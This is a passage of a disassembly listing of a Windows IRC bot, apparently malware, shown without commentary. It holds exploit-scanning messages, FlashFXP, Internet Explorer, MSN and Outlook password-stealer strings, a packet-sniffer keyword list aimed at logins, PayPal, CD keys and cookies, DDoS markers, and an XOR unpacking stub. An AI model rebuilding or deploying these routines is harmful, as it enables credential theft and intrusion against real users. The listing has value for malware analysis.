dword_41CFD0	dd 65747441h, 6974706Dh, 7420676Eh, 7865206Fh, 696F6C70h
					; DATA XREF: sub_413CB3+2B0o
		dd 30032074h, 73250234h, 77200203h, 20687469h, 2343003h
		dd 2037325h, 2E2E2Eh
unk_41D000	db  2Dh	; -		; DATA XREF: sub_413CB3+31o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aAttemptingTo_0	db '- Attempting to exploit IP',27h,'s in list.',0
		align 10h
aAttemptingToEx	db 'Attempting to exploit IP',27h,'s in list.',0 ; DATA XREF: sub_413FE7+52o
dword_41D054	dd 3003203Ah, 75250234h, 202E0203h, 0 ;	DATA XREF: sub_414052+BBo
aExploitStatist	db 'Exploit statistics - ',0 ; DATA XREF: sub_414052+29o
		align 4
aListingExploit	db 'Listing exploit statistics',0 ; DATA XREF: sub_41417D+2Bo
		align 4
dword_41D098	dd 62616E55h, 7420656Ch, 6F63206Fh, 63656E6Eh, 6F742074h
					; DATA XREF: sub_4141C1+D8o
		dd 34300320h, 3732502h,	6F702002h, 3207472h, 25023430h
		dd 2E020373h, 0
dword_41D0C8	dd 656D6954h, 2074756Fh, 7563636Fh, 20646572h, 6C696877h
					; DATA XREF: sub_4141C1+B4o
		dd 6F632065h, 63656E6Eh, 676E6974h, 206F7420h, 2343003h
		dd 2037325h, 3430033Ah,	3732502h, 202E02h
dword_41D100	dd 6E6E6F43h, 65746365h, 6F742064h, 34300320h, 3732502h
					; DATA XREF: sub_4141C1+78o
		dd 30033A02h, 73250234h, 69200203h, 3003206Eh, 75250234h
		dd 203736Dh, 2Eh
dword_41D130	dd 6E6E6F43h, 69746365h, 7420676Eh, 7325206Fh, 726F7020h
					; DATA XREF: sub_4142BF+D8o
		dd 30032074h, 73250234h, 203h
unk_41D150	db  53h	; S		; DATA XREF: sub_4143B0+221o
		db 63h,	61h, 6Eh
		db  6Eh	; n
		db 65h,	64h, 20h
		db  25h	; %
		db 73h,	20h, 69h
		db  6Eh	; n
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 30h
		db  2Eh	; .
		db 32h,	66h, 3
		db    2
		db 73h,	65h, 63h
		db  2Eh	; .
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 6Fh
aPenPortSFound	db 'pen port(s) found',0
		align 4
dword_41D18C	dd 33A7325h, 25023430h,	20020373h, 6F207369h, 6E6570h
					; DATA XREF: sub_4143B0+1BAo
dword_41D1A0	dd 3430032Dh, 3752502h,	53202D02h, 6E6E6163h, 20676E69h
					; DATA XREF: sub_4143B0+81o
		dd 70207325h, 2074726Fh, 2343003h, 2037525h, 3430032Dh
		dd 3752502h, 69772002h,	3206874h, 25023430h, 20020375h
		dd 6B636F73h, 73287465h, 29h
dword_41D1E8	dd 6E616353h, 676E696Eh, 20732520h, 74726F70h, 34300320h
					; DATA XREF: sub_414600+1BEo
		dd 3752502h, 30032D02h,	75250234h, 77200203h, 20687469h
		dd 2343003h, 2037525h, 636F7320h, 2874656Bh, 2973h
aYa36za48dehfrv	db 'yA36zA48dEhfrvghGRg57h5UlDv3',0 ; DATA XREF: sub_4147E5+6o
					; sub_4147E5+C6o
		align 4
aSflashfxpSites	db '%sFlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+107o
		align 4
aFlashfxpSites_	db '\FlashFXP\sites.dat',0 ; DATA XREF: sub_4148CE+B6o
aProgramfiles	db 'ProgramFiles',0     ; DATA XREF: sub_4148CE+ABo
		align 10h
aSites_dat	db 'sites.dat',0        ; DATA XREF: sub_4148CE:loc_414945o
		align 4
aFlashfxp_exe1	db 'FlashFXP.exe %1',0  ; DATA XREF: sub_4148CE+57o
aSoftwareClasse	db 'SOFTWARE\Classes\Applications\FlashFXP.exe\shell\open\command',0
					; DATA XREF: sub_4148CE+15o
		align 4
unk_41D2DC	db  2Dh	; -		; DATA XREF: sub_414A1E+464o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 2Fh, 3
		db  30h	; 0
		db 34h,	2, 25h
		db  75h	; u
		db 3, 2, 20h
aFlashfxpPass_0	db 'FlashFXP password(s).',0
		align 4
dword_41D318	dd 2343003h, 2037525h	; DATA XREF: sub_414A1E+3C4o
a_FlashfxpFtpSS	db '. FlashFXP - ftp://%s:%s@%s:%s - %s',0
aPass127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+352o
		db 'Pass=%127s',0Dh,0Ah,0
		align 4
aUser127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+338o
		db 'User=%127s',0Dh,0Ah,0
		align 4
aPort127s	db 0Dh,0Ah		; DATA XREF: sub_414A1E+31Eo
		db 'Port=%127s',0Dh,0Ah,0
		align 4
aIp127s		db 0Dh,0Ah		; DATA XREF: sub_414A1E+304o
		db 'IP=%127s',0Dh,0Ah,0
		align 4
asc_41D384	db '[%[^]]]',0Dh,0Ah,0  ; DATA XREF: sub_414A1E+2EAo
		align 10h
aPass_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1F4o
		db 'Pass=',0
aUser_0		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1DCo
		db 'User=',0
aPort		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1C4o
		db 'Port=',0
aIp		db 0Dh,0Ah		; DATA XREF: sub_414A1E+1ACo
		db 'IP=',0
		align 10h
asc_41D3B0	db 0Dh,0Ah		; DATA XREF: sub_414A1E:loc_414BA6o
		db 0Dh,0Ah
		db '[',0
		align 4
unk_41D3B8	db  2Dh	; -		; DATA XREF: sub_414A1E+55o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingFlashfx	db '- Listing FlashFXP passwords',0
		align 10h
aFlashfxpPasswo	db 'FlashFXP password stealer',0 ; DATA XREF: sub_414EB0+2Bo
		align 4
unk_41D3FC	db  2Dh	; -		; DATA XREF: sub_414EF4+B8Ao
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  69h	; i
		db 73h,	74h, 65h
		db  64h	; d
		db 20h,	3, 30h
		db  34h	; 4
		db 2, 25h, 75h
		db    3
		db 2, 20h, 69h
aNternetExplore	db 'nternet explorer password(s).',0
		align 4
dword_41D438	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6D6F436Fh
					; DATA XREF: sub_414EF4+AD8o
		dd 74656C70h, 61502065h, 6F777373h, 20736472h, 6953202Dh
		dd 203A6574h, 2343003h,	2037325h, 614E202Eh, 203A656Dh
		dd 2343003h, 2037325h, 6150202Eh, 6F777373h, 203A6472h
		dd 2343003h, 2037325h, 2Eh
dword_41D494	dd 2343003h, 2037525h, 4549202Eh, 7475413Ah, 6F43206Fh
					; DATA XREF: sub_414EF4+A2Bo
		dd 656C706Dh, 66206574h, 646C6569h, 202D2073h, 6C656946h
		dd 3203A64h, 25023430h,	2E020373h, 74614420h, 3203A61h
		dd 25023430h, 2E020373h, 0
dword_41D4DC	dd 70747468h, 2F3A73h	; DATA XREF: sub_414EF4+9DDo
dword_41D4E4	dd 70747468h, 2F3Ah	; DATA XREF: sub_414EF4+9C6o
dword_41D4EC	dd 7274533Ah, 676E69h	; DATA XREF: sub_414EF4+983o
					; sub_414EF4+99Ao
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_414EF4+968o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_414EF4:loc_415842o
		align 4
dword_41D50C	dd 2343003h, 2037525h, 534D202Eh, 7845204Eh, 726F6C70h
					; DATA XREF: sub_414EF4+935o
		dd 2D207265h, 4E534D20h, 3A444920h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
dword_41D54C	dd 2Ch			; DATA XREF: sub_414EF4+83Bo
					; sub_414EF4+852o ...
aB9819c52	db 'b9819c52',0         ; DATA XREF: sub_414EF4:loc_4155CEo
		align 4
dword_41D55C	dd 2343003h, 2037525h, 4549202Eh, 7361503Ah, 726F7773h
					; DATA XREF: sub_414EF4+6C6o
		dd 72502D64h, 6365746Fh, 20646574h, 6953202Dh, 203A6574h
		dd 2343003h, 2037325h, 614E202Eh, 203A656Dh, 2343003h
		dd 2037325h, 6150202Eh,	6F777373h, 203A6472h, 2343003h
		dd 2037325h, 2Eh
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_414EF4:loc_41550Co
		align 10h
dword_41D5C0	dd 2343003h, 2037525h, 754F202Eh, 6F6F6C74h, 7078456Bh
					; DATA XREF: sub_414EF4+604o
		dd 73736572h, 4E202D20h, 3A656D61h, 34300320h, 3732502h
		dd 50202E02h, 77737361h, 3A64726Fh, 34300320h, 3732502h
		dd 2E02h
a220d5cc1	db '220d5cc1',0         ; DATA XREF: sub_414EF4+5C2o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_414EF4+41Co
asc_41D610	db '%x',0               ; DATA XREF: sub_414EF4+234o
		align 4
unk_41D614	db  2Dh	; -		; DATA XREF: sub_414EF4+1A9o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aListingInterne	db '- Listing internet explorer passwords',0
		align 8
dword_41D648	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh ; DATA XREF: sub_414EF4+123o
					; sub_414EF4+2C7o ...
aInternetExplor	db 'Internet explorer password stealer',0 ; DATA XREF: sub_415AF0+36o
		align 4
dword_41D67C	dd 65746E49h, 74736572h, 20676E69h, 636F7270h, 65737365h
					; DATA XREF: sub_415B60+277o
		dd 202D2073h, 75736956h, 43206C61h, 36202B2Bh, 3003203Ah
		dd 73250234h, 202E0203h, 65726E55h, 52496C61h, 203A4443h
		dd 2343003h, 2037325h, 7453202Eh, 3A6D6165h, 34300320h
		dd 3732502h, 57202E02h,	646C726Fh, 20664F20h, 63726157h
		dd 74666172h, 3003203Ah, 73250234h, 202E0203h, 716E6F43h
		dd 20726575h, 696C6E4Fh, 203A656Eh, 2343003h, 2037325h
		dd 2Eh
aSoftwareValveS	db 'Software\Valve\Steam',0 ; DATA XREF: sub_415B60+149o
		align 4
aSoftwareMicr_0	db 'SOFTWARE\Microsoft\VisualStudio\6.0\Setup\Microsoft Visual C++',0
					; DATA XREF: sub_415B60+10Ao
		align 4
aConquer	db '[Conquer]',0        ; DATA XREF: sub_415B60:loc_415C2Fo
		align 10h
aWorldOfWarcraf	db 'World Of Warcraft',0 ; DATA XREF: sub_415B60:loc_415C0Eo
		align 4
aUnreal3	db 'Unreal3',0          ; DATA XREF: sub_415B60+8Co
aListingInteres	db 'Listing interesting processes',0 ; DATA XREF: sub_415DFD+2Bo
		align 4
off_41D7AC	dd offset dword_41DA50	; DATA XREF: sub_415EB7+32o
		dd offset dword_41DA44
		dd offset dword_41DA3C
		dd offset dword_41DA30
		dd offset dword_41DA28
		dd 0
		dd offset dword_41DA1C
		dd 0
		dd offset dword_41DA14
		dd 0
		dd offset dword_41DA0C
		dd 0
		dd offset dword_41DA00
		dd 0
		dd offset dword_41D9F4
		dd 0
		dd offset dword_41D9EC
		dd 0
		dd offset dword_41D9E4
		dd 0
		dd offset off_41D9E0
		dd 2 dup(0)
off_41D808	dd offset aLogin_0	; DATA XREF: sub_415EB7+54o
					; "login "
		align 10h
		dd offset aSxt		; "sxt "
		align 8
		dd offset aAuth		; "auth	"
		align 10h
		dd offset aPasswort	; "passwort "
		align 8
		dd offset aCdkey	; "cdkey"
		align 10h
		dd offset aCdKey_0	; "cd-key"
		align 8
		dd offset aCdKey	; "cd key"
		align 10h
		dd offset aPassword	; "password"
		align 8
		dd offset aPaypal_com	; "paypal.com"
		dd 0
		dd offset aPaypal	; "paypal"
		align 8
		dd offset aIrcOperator	; "irc operator"
		align 10h
		dd offset aLP		; "l/p"
		align 8
		dd offset aSsh1_5	; "SSH-1.5"
		align 10h
		dd offset aSsh1_99	; "SSH-1.99"
		dd 2 dup(0)
off_41D87C	dd offset aSetCookie	; DATA XREF: sub_415EB7+76o
					; "Set-Cookie:"
		dd 0
		dd offset aSyn		; "syn"
		dd 0
		dd offset aFlood	; "flood "
		dd 0
		dd offset aClone	; "clone "
		dd 0
		dd offset aServU_0	; "serv-u"
		dd 0
		dd offset aServU	; "serv	u"
		dd 0
		dd offset aServu	; "servu"
		dd 0
		dd offset aDdos		; "ddos"
		align 10h
off_41D8C0	dd offset dword_41D91C	; DATA XREF: sub_415EB7+98o
		align 8
		dd offset dword_41D914
		align 10h
		dd offset dword_41D90C
		align 8
		dd offset dword_41D904
		align 10h
		dd offset dword_41D8FC
		align 8
		dd offset dword_41D8F4
		dd 2 dup(0)
dword_41D8F4	dd 54495551h, 20h	; DATA XREF: BrattyUS:0041D8E8o
dword_41D8FC	dd 54524150h, 20h	; DATA XREF: BrattyUS:0041D8E0o
dword_41D904	dd 4E494F4Ah, 20h	; DATA XREF: BrattyUS:0041D8D8o
dword_41D90C	dd 49504F54h, 2043h	; DATA XREF: BrattyUS:0041D8D0o
dword_41D914	dd 49544F4Eh, 204543h	; DATA XREF: BrattyUS:0041D8C8o
dword_41D91C	dd 56495250h, 2047534Dh, 0 ; DATA XREF:	BrattyUS:off_41D8C0o
aDdos		db 'ddos',0             ; DATA XREF: BrattyUS:0041D8B4o
		align 10h
aServu		db 'servu',0            ; DATA XREF: BrattyUS:0041D8ACo
		align 4
aServU		db 'serv u',0           ; DATA XREF: BrattyUS:0041D8A4o
		align 10h
aServU_0	db 'serv-u',0           ; DATA XREF: BrattyUS:0041D89Co
		align 4
aClone		db 'clone ',0           ; DATA XREF: BrattyUS:0041D894o
		align 10h
aFlood		db 'flood ',0           ; DATA XREF: BrattyUS:0041D88Co
		align 4
aSyn		db 'syn',0              ; DATA XREF: BrattyUS:0041D884o
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: BrattyUS:off_41D87Co
aSsh1_99	db 'SSH-1.99',0         ; DATA XREF: BrattyUS:0041D870o
		align 4
aSsh1_5		db 'SSH-1.5',0          ; DATA XREF: BrattyUS:0041D868o
aLP		db 'l/p',0              ; DATA XREF: BrattyUS:0041D860o
aIrcOperator	db 'irc operator',0     ; DATA XREF: BrattyUS:0041D858o
		align 10h
aPaypal		db 'paypal',0           ; DATA XREF: BrattyUS:0041D850o
		align 4
aPaypal_com	db 'paypal.com',0       ; DATA XREF: BrattyUS:0041D848o
		align 4
aCdKey		db 'cd key',0           ; DATA XREF: BrattyUS:0041D838o
		align 4
aCdKey_0	db 'cd-key',0           ; DATA XREF: BrattyUS:0041D830o
		align 4
aCdkey		db 'cdkey',0            ; DATA XREF: BrattyUS:0041D828o
		align 4
aPasswort	db 'passwort ',0        ; DATA XREF: BrattyUS:0041D820o
		align 4
aAuth		db 'auth ',0            ; DATA XREF: BrattyUS:0041D818o
		align 10h
aSxt		db 'sxt ',0             ; DATA XREF: BrattyUS:0041D810o
		align 4
aLogin_0	db 'login ',0           ; DATA XREF: BrattyUS:off_41D808o
		align 10h
off_41D9E0	dd offset dword_3D7000+770h ; DATA XREF: BrattyUS:0041D7FCo
dword_41D9E4	dd 73736170h, 3Dh	; DATA XREF: BrattyUS:0041D7F4o
dword_41D9EC	dd 69676F6Ch, 3D6Eh	; DATA XREF: BrattyUS:0041D7ECo
dword_41D9F4	dd 73736170h, 64726F77h, 3Dh ; DATA XREF: BrattyUS:0041D7E4o
dword_41DA00	dd 72657375h, 656D616Eh, 3Dh ; DATA XREF: BrattyUS:0041D7DCo
dword_41DA0C	dd 73736170h, 3D6477h	; DATA XREF: BrattyUS:0041D7D4o
dword_41DA14	dd 75613A20h, 206874h	; DATA XREF: BrattyUS:0041D7CCo
dword_41DA1C	dd 6E656469h, 79666974h, 20h ; DATA XREF: BrattyUS:0041D7C4o
dword_41DA28	dd 7265706Fh, 20h	; DATA XREF: BrattyUS:0041D7BCo
dword_41DA30	dd 6C69614Dh, 73736150h, 20h ; DATA XREF: BrattyUS:0041D7B8o
dword_41DA3C	dd 73736170h, 20h	; DATA XREF: BrattyUS:0041D7B4o
dword_41DA44	dd 6E6B6E75h, 206E776Fh, 0 ; DATA XREF:	BrattyUS:0041D7B0o
dword_41DA50	dd 72657375h, 20h	; DATA XREF: BrattyUS:off_41D7ACo
dword_41DA58	dd 70737553h, 6F696369h, 70207375h, 656B6361h, 72662074h
					; DATA XREF: sub_415F69+5CEo
		dd 3206D6Fh, 25023430h,	3A020373h, 2343003h, 2037525h
		dd 73253E2Dh, 2075253Ah, 0
unk_41DA8C	db  2Dh	; -		; DATA XREF: sub_415F69+1A6o
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
		db 2Dh,	20h, 4Ch
		db  65h	; e
		db 76h,	65h, 6Ch
		db  20h
		db 3, 30h, 34h
		db    2
		db 25h,	75h, 3
		db    2
aPacketSnifferR	db ' packet sniffer running',0
		align 10h
dword_41DAC0	dd 6576654Ch, 3003206Ch, 75250234h, 70200203h, 656B6361h
					; DATA XREF: sub_41665C+8Eo
		dd 6E732074h, 65666669h, 72h, 41DAE4h, 84B6AD89h, 0B8A0BAE6h
		dd 91C499ECh, 2	dup(0)
dword_41DAF8	dd 0B1790F4Ch		; DATA XREF: sub_40A9CF+843r
					; sub_4167F1+54r ...
dword_41DAFC	dd 6F035C08h		; DATA XREF: sub_4167F1+4Cr
dword_41DB00	dd 12E3F4F6h		; DATA XREF: sub_4167F1+41r
dword_41DB04	dd 0A1A8C30Ch		; DATA XREF: sub_4167F1+3Br
		dd 35h,	0
off_41DB10	dd offset dword_41DE18	; DATA XREF: sub_40E618+1C3r
					; sub_40E618+1D5r ...
		align 8
off_41DB18	dd offset dword_41CCF8	; DATA XREF: sub_40A9CF+7B3r
					; sub_40CF2F+82r ...
off_41DB1C	dd offset nullsub_1	; DATA XREF: sub_40CF2F+B8r
dword_41DB20	dd 0			; DATA XREF: sub_40CF2F+D0r
					; sub_40CF2F+DFr
		dd offset dword_41CCD8
		dd offset dword_41CCCC
		align 10h
		dd offset dword_41CCAC
		dd offset nullsub_2
		dd 0
		dd offset dword_41CC84
		dd offset nullsub_3
		align 8
		dd offset loc_41CC58
		dd offset dword_41CC4C
		dd 0
		dd offset dword_41CC34
		dd offset nullsub_4
		align 10h
		dd offset loc_41CC0C
		dd offset nullsub_5
		dd 4 dup(0)
dword_41DB78	dd 0D7E6FDC6h, 0F7EBEBF7h, 2 dup(0) ; DATA XREF: sub_40D043:loc_40D31Fo
					; sub_40D871:loc_40DCB8o
dword_41DB88	dd 69702323h, 2323h, 1Eh dup(0)	; DATA XREF: sub_40332B+1A1o
					; sub_4093B6+6Co ...
byte_41DC08	db 0DAh			; DATA XREF: sub_40D043+28Cr
					; sub_40D043+297o
		db 0E1h, 0B1h, 81h
		dd 0EBF7BDB8h, 1Eh dup(0)
byte_41DC88	db 0			; DATA XREF: sub_40D043+2B3r
					; sub_40D043+2BEo
		align 4
		dd 1Fh dup(0)
dword_41DD08	dd 3430032Eh, 2036202h,	0 ; DATA XREF: sub_40A9CF:loc_40C4DAo
					; sub_40D871+242o
dword_41DD14	dd 8BBBA78Eh, 0E6E6E7A4h, 0DA9AA6h, 3Eh	dup(0) ; DATA XREF: sub_406A23+2Eo
					; sub_406AE7+2Eo
dword_41DE18	dd 80B682D3h, 0E6A7B0BBh, 85DE92B1h, 0BFFEh, 0
					; DATA XREF: BrattyUS:off_41DB10o
dword_41DE2C	dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: BrattyUS:00416B0Do
aEipHasLeftTheE	db '- eip has left the endless loop for some reason...',0
		align 4
aEntry		db 'entry',0            ; DATA XREF: BrattyUS:00416AE7o
		align 4
aLoop		db 'loop',0             ; DATA XREF: sub_416AC5o
		align 4
aPing08x	db 'PING :%08X',0       ; DATA XREF: sub_4167F1+263o
		align 4
a08xX08x3x08x08	db '%08x%x%08x%3x%08x%08x',0 ; DATA XREF: sub_4167F1+5Ao
		align 10h
dword_41DEA0	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bh ; DATA XREF: sub_416E4E+15o
off_41DEB0	dd offset off_4172BC	; DATA XREF: BrattyUS:off_4172C0o
					; BrattyUS:004172FCo ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
off_41DED0	dd offset off_4172BC	; DATA XREF: BrattyUS:off_417308o
					; BrattyUS:00417344o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
dword_41DEE8	dd 0			; DATA XREF: sub_401856:loc_40186Er
					; sub_401856+21r ...
dword_41DEEC	dd 0			; DATA XREF: sub_401856:loc_401883r
					; sub_401856+36r ...
dword_41DEF0	dd 0			; DATA XREF: sub_401856:loc_401898r
					; sub_401856+4Br ...
dword_41DEF4	dd 0			; DATA XREF: sub_401856+3r
					; sub_401856+Cr ...
		dd 0
dword_41DEFC	dd 0			; DATA XREF: sub_4018AF+40r
					; sub_4018AF+62r ...
byte_41DF00	db 0			; DATA XREF: sub_401981+1BAo
					; sub_402A32+57r ...
		align 8
dword_41DF08	dd 0			; DATA XREF: sub_40332B+1Ar
					; sub_404CBB+1Br ...
dword_41DF0C	dd 1			; DATA XREF: sub_40332B+Bo
dword_41DF10	dd 77E7C706h		; DATA XREF: sub_403BD3+28w
					; sub_409C36+12r ...
		align 8
dword_41DF18	dd 71C245E0h		; DATA XREF: sub_403BD3+53w
dword_41DF1C	dd 71C243F6h		; DATA XREF: sub_403BD3+66w
dword_41DF20	dd 71C59904h		; DATA XREF: sub_403BD3+79w
dword_41DF24	dd 71C453F8h		; DATA XREF: sub_403BD3+8Cw
dword_41DF28	dd 71C2FA86h		; DATA XREF: sub_403BD3+9Fw
dword_41DF2C	dd 71C574FAh		; DATA XREF: sub_403BD3+B2w
dword_41DF30	dd 71C214BAh		; DATA XREF: sub_403BD3+C5w
dword_41DF34	dd 71C4A1B4h		; DATA XREF: sub_403BD3+D8w
dword_41DF38	dd 71C59530h		; DATA XREF: sub_403BD3+EBw
dword_41DF3C	dd 71B2ACCBh		; DATA XREF: sub_403BD3+112w
dword_41DF40	dd 71B22C25h		; DATA XREF: sub_403BD3+125w
dword_41DF44	dd 71B2A381h		; DATA XREF: sub_403BD3+138w
dword_41DF48	dd 71B28D0Dh		; DATA XREF: sub_403BD3+14Bw
dword_41DF4C	dd 7622A3F4h		; DATA XREF: sub_403BD3+219w
					; sub_408B30+118r ...
dword_41DF50	dd 5E0C4E7Dh		; DATA XREF: sub_403BD3+1F2w
					; sub_414EF4+6Cr ...
dword_41DF54	dd 71AB33DFh		; DATA XREF: sub_403BD3+16Cw
					; sub_403BD3+197r ...
dword_41DF58	dd 71ABC076h		; DATA XREF: sub_4020C2+DBr
					; sub_403BD3+17Fw ...
dword_41DF5C	dd 71AB3A2Ch		; DATA XREF: sub_403BD3+192w
					; sub_403BD3+1A9r ...
		dd 28h dup(0)
dword_41E000	dd 0D9h	dup(0)		; DATA XREF: BrattyUS:loc_42002Eo
dword_41E364	dd 0			; DATA XREF: sub_4042FB+3r
					; sub_4042FB+20o
dword_41E368	dd 0			; DATA XREF: sub_4042FB+12o
					; sub_4042FB:loc_404327r
		align 10h
dword_41E370	dd 76BF1C22h		; DATA XREF: sub_405FA3+46w
					; sub_405FA3+7Ar ...
dword_41E374	dd 76BF1D54h		; DATA XREF: sub_405FA3+59w
					; sub_405FA3+83r ...
dword_41E378	dd 76BF1E6Ch		; DATA XREF: sub_405FA3+6Cw
					; sub_405FA3+8Cr ...
dword_41E37C	dd 76BF32DDh		; DATA XREF: sub_405FA3+33w
					; sub_405FA3+71r ...
dword_41E380	dd 14AE70h, 0FFFFFFFFh,	5 dup(0) ; DATA	XREF: sub_405FA3+4o
					; sub_406041+Bo ...
byte_41E39C	db 1			; DATA XREF: sub_405FA3+95w
					; sub_406041+16r
		align 10h
dword_41E3A0	dd 0			; DATA XREF: sub_409226+61w
					; sub_409226+77w ...
		align 8
dword_41E3A8	dd 14AE98h, 0FFFFFFFFh,	4 dup(0) ; DATA	XREF: sub_40938F+1Ao
					; sub_4095A4+6o ...
dword_41E3C0	dd 0			; DATA XREF: sub_40938F+3w
					; sub_4095A4+11r ...
		align 8
dword_41E3C8	dd 323A00h		; DATA XREF: sub_40938F+15w
					; sub_4095A4+57r ...
dword_41E3CC	dd 0			; DATA XREF: sub_409CB1+6r
					; sub_409DD0+65w ...
dword_41E3D0	dd 0			; DATA XREF: sub_409DD0+3Fw
					; sub_409DD0+44r ...
dword_41E3D4	dd 0			; DATA XREF: sub_409CB1+F6r
					; sub_409DD0+91w ...
dword_41E3D8	dd 0			; DATA XREF: sub_409CB1+B9r
					; sub_409DD0+7Bw ...
		align 10h
byte_41E3E0	db 0			; DATA XREF: sub_409DD0+29r
					; sub_409DD0+96w
		align 4
		dd 101h	dup(0)
byte_41E7E8	db 0			; DATA XREF: sub_40CF2F+4Bo
					; sub_40CF2F+5Eo ...
		align 4
		dd 5Fh dup(0)
dword_41E968	dd 40h dup(0)		; DATA XREF: sub_40CF2F+Eo
					; sub_40CF2F+A6o ...
dword_41EA68	dd 3 dup(0)		; DATA XREF: sub_40CF2F+23o
					; sub_40CF2F+36o ...
dword_41EA74	dd 0			; DATA XREF: sub_40CF25+3r
					; sub_40D366+15r ...
		dd 0
dword_41EA7C	dd 0			; DATA XREF: sub_40E618+49w
					; sub_40E618:loc_40E66Dw
byte_41EA80	db 0			; DATA XREF: sub_40E979+1Dw
					; sub_40E979+46w ...
		align 4
		dd 9 dup(0)
		dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0
		dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh
		dd 16151413h, 191817h, 0
		db    0
		db 1Ah,	1Bh, 1Ch
		db  1Dh
		db 1Eh,	1Fh, 20h
a_0123		db '!"#$%&',27h,'()*+,-./0123',0
		dd 22h dup(0)
byte_41EB84	db 0F2h			; DATA XREF: sub_40ECEB+29o
					; sub_40ECEB+35o ...
aShmmhNaII	db 0Bh,'HMMH',0Bh,'ө',0
		align 4
dword_41EB98	dd 85E7D1A7h, 0C5FDFDC5h, 0B939B9D1h, 1987FB7Bh, 0
					; DATA XREF: sub_40ED6E+29o
					; sub_40ED6E+35o ...
dword_41EBAC	dd 0EBA7577Eh		; DATA XREF: sub_4102AE+1Do
					; sub_410318+7w ...
dword_41EBB0	dd 328593C5h		; DATA XREF: sub_4102AE+2Do
					; sub_410318+11w ...
dword_41EBB4	dd 1D56E57Ch		; DATA XREF: sub_4102AE+3Do
					; sub_410318+1Bw ...
dword_41EBB8	dd 79955F60h		; DATA XREF: sub_4102AE+4Do
					; sub_410318+25w ...
		align 10h
byte_41EBC0	db 0F9h			; DATA XREF: sub_41055F+29o
					; sub_41055F+35o ...
; ---------------------------------------------------------------------------
		retn	0E8D9h
; ---------------------------------------------------------------------------
		enter	0FFFFD4D4h, 0C8h
		retn	0B6F6h
; ---------------------------------------------------------------------------
		db 0F6h
; ---------------------------------------------------------------------------
		xchg	eax, edi
		xlat
		jmp	near ptr byte_41EC79
; ---------------------------------------------------------------------------
		align 8
dword_41EBD8	dd 2 dup(0)		; DATA XREF: sub_41113B+7E8o
dword_41EBE0	dd 0			; DATA XREF: sub_411DC5+557o
dword_41EBE4	dd 2 dup(0)		; DATA XREF: sub_411DC5+579o
dword_41EBEC	dd 0			; DATA XREF: sub_4127D0+9r
					; sub_4127D0+16w
dword_41EBF0	dd 0			; DATA XREF: sub_4127D0+BFw
					; sub_4127D0:loc_4128A0r
dword_41EBF4	dd 2 dup(0)		; DATA XREF: sub_412D4C+3o
					; sub_412E04+7Fo
dword_41EBFC	dd 6B636170h, 652E6465h, 6578h,	1Ch dup(0) ; DATA XREF:	sub_406E8E+208o
					; sub_407148+172o ...
		db 0
byte_41EC79	db 3 dup(0)		; CODE XREF: BrattyUS:0041EBCEj
		dd 21h dup(0)
dword_41ED00	dd 52284174h		; DATA XREF: sub_40A9CF+838r
					; sub_4167F1+118w
dword_41ED04	dd 0C83CF4ADh		; DATA XREF: sub_4167F1+122w
dword_41ED08	dd 3F7501E0h		; DATA XREF: sub_4167F1+12Cw
dword_41ED0C	dd 8BF829B4h		; DATA XREF: sub_4167F1+136w
dword_41ED10	dd 6B636170h, 652E6465h, 6578h,	3Fh dup(0) ; DATA XREF:	sub_40A9CF+C3Do
					; sub_40A9CF+C51o ...
dword_41EE18	dd 40h dup(0)		; DATA XREF: sub_40A9CF+1082o
					; sub_40A9CF+108Eo ...
byte_41EF18	db 0			; DATA XREF: sub_40D043+FFr
					; sub_40D043+10Ao ...
		align 4
		dd 1Fh dup(0)
byte_41EF98	db 0			; DATA XREF: sub_403DF3:loc_403F07r
					; sub_403DF3+11Fo ...
		align 4
		dd 1Fh dup(0)
dword_41F018	dd 40h dup(0)		; DATA XREF: sub_404279+36o
					; sub_4055E5+746o ...
byte_41F118	db 0			; DATA XREF: sub_40A9CF+1F37o
					; sub_40D043:loc_40D0D6r ...
		align 4
		dd 3B9h	dup(0)
; ---------------------------------------------------------------------------

loc_420000:				; CODE XREF: BrattyUS:003EB22Dj
		pusha
		nop
		popa
		popa
		cmp	byte ptr [edi-10h], 45h
		nop
		pusha
		jnz	near ptr 0FF618B2Bh
		push	offset sub_4167F1
		mov	eax, offset sub_401000
		nop

loc_42001B:				; CODE XREF: BrattyUS:00420026j
		cmp	eax, offset dword_417000
		jz	short loc_420028
		xor	byte ptr [eax],	0D1h
		inc	eax
		jmp	short loc_42001B
; ---------------------------------------------------------------------------

loc_420028:				; CODE XREF: BrattyUS:00420020j
		mov	eax, offset off_418000
		nop

